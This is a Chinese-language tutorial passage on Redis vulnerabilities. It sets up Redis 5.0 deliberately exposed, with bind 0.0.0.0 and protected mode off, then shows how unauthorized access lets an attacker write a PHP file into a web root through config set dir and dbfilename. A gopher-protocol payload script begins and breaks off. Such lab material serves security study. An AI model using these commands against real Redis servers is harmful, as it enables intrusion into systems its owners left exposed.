Redis系列漏洞总结
文章目录
环境:ubuntu16.04,redis5.0.1
redis下载及安装
-
下载
wget http://download.redis.io/releases/redis-5.0.0.tar.gz
-
解压
sudo tar xzvf redis-5.0.0.tar.gz
-
创建文件夹
mkdir /usr/local/redis5
mkdir /etc/redis5
-
移动文件
cp -r redis-5.0.0/* /usr/local/redis5/
-
进入安装目录进行安装
ls /usr/local/redis5/ cd /usr/local/redis5 sudo make cd /usr/local/redis5/src/ sudo make test //如果安装报错,更新tcl:sudo apt install tcl8.6,再重新运行 sudo make install //安装
-
查看编译好的命令文件
ls /usr/local/bin/redis-*
--/usr/local/bin/redis-benchmark 性能测试工具 --/usr/local/bin/redis-check-aof 更新日志检查 --/usr/local/bin/redis-check-dump 本地数据文件检查 --/usr/local/bin/redis-cli 命令行操作工具 --/usr/local/bin/redis-server 服务器程序
-
修改配置文件
cd /usr/local/redis5
cp redis.conf /etc/redis5/
vim /etc/redis5/redis.conf
bind 0.0.0.0(允许登陆redis服务的ip,默认是127.0.0.1(设置为127.0.0.1的话就相当于redis服务只能本机进行登,如果设置成 0.0.0.0 就相当于将redis暴露在公网中,公网中的机器都可以进行登陆) protected-mode no (如果开启则会禁止公网访问redis) daemonize yes//改为后台运行
-
启动
cd /usr/local/redis5
redis-server /etc/redis5/redis.conf
-
关闭
redis-cli shutdown
redis-cli -p 6379 shutdown
redis-cli -h 192.168.9.206 -p 6379 shutdown
(根据情况选择关闭服务器命令)
redis 漏洞利用方式
0x01 绝对路径写shell
-
环境
靶机ubtuntu16:118.31.47.97
sudo apt install apache2 sudo apt install php sudo apt install php-redis sudo apt-get install libapache2-mod-php sudo apt install php-curl
攻击主机ubuntu16 本机
服务器:redis5.0.0,apache,php
-
利用条件
能未授权或者能通过弱口令认证访问到Redis服务器
root权限启动redis服务
需要知道目标的web目录绝对路径
-
漏洞复现
使用客户端连接redis数据库,并测试手动写shell
flushall set 1 '<?php phpinfo(); ?>' config set dir /var/www/html config set dbfilename phpinfo.php save
接下来使用gopher协议来将shell转换成RESP格式
#!/usr/bin/env python # -*-coding:utf-8-*- import urllib protocol="gopher://" # 使用的协议 ip="118.31.